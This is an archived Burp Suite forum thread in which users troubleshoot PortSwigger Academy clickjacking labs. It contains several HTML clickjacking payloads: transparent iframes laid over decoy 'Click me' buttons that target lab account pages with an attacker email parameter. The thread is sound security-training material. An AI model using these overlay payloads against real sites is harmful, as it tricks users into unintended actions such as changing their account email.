Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Clickjacking all apprentice lab

Yan | Last updated: Jul 21, 2022 01:10PM UTC

Please Team could you see any problems with my frame script as I tried to solve all three labs and it is not working. One example below for the third lab: frame buster script <style> iframe { position:relative; width:700px; height: 500px; opacity: 0.6; z-index: 2; } div { position:absolute; top:450px; left:80px; z-index: 1; } </style> <div>Click me</div> <iframe sandbox="allow-forms" src="https://0a65005c049df3d3c082592000760046.web-security-academy.net/my-account"></iframe>

Ben, PortSwigger Agent | Last updated: Jul 22, 2022 08:15AM UTC

Hi Yan, What do you see when you click the 'View exploit' button in the Exploit Server? It looks like you are using an incorrect 'src' URL which should, instead, be something similar to the following (note that you need to retain the email parameter): src="https://0a65005c049df3d3c082592000760046.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe> Using the 'View exploit' functionality should allow you to see what you have configured so you can fine tune your attack to make sure that you are both looking at the correct page and have the elements lined up correctly.

a-pax | Last updated: Sep 07, 2024 11:44PM UTC

hey! i'm doing Lab: Clickjacking with form input data prefilled from a URL parameter and the view exploit looks realy good and Click me is perfect lined up with update email but the lab dosn't get solved?? i have tried a lotts of different top, left, width and height, both all that lines up and many that dosn't line up.so what am i doing wrong? the HTML input below does not line up for me but i have tried all inputs that looks perfect and many more. my HTML input is <style> iframe { position: relative; width: 500px; height: 700px; opacity: 0.0001; z-index: 1; } div { position: absolute; top: 400px; left: 80px; z-index: 2; } </style> <div>Click me</div> <iframe src="https://0afc0021034ff24e84fb370400bf0026.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>

a-pax | Last updated: Sep 07, 2024 11:58PM UTC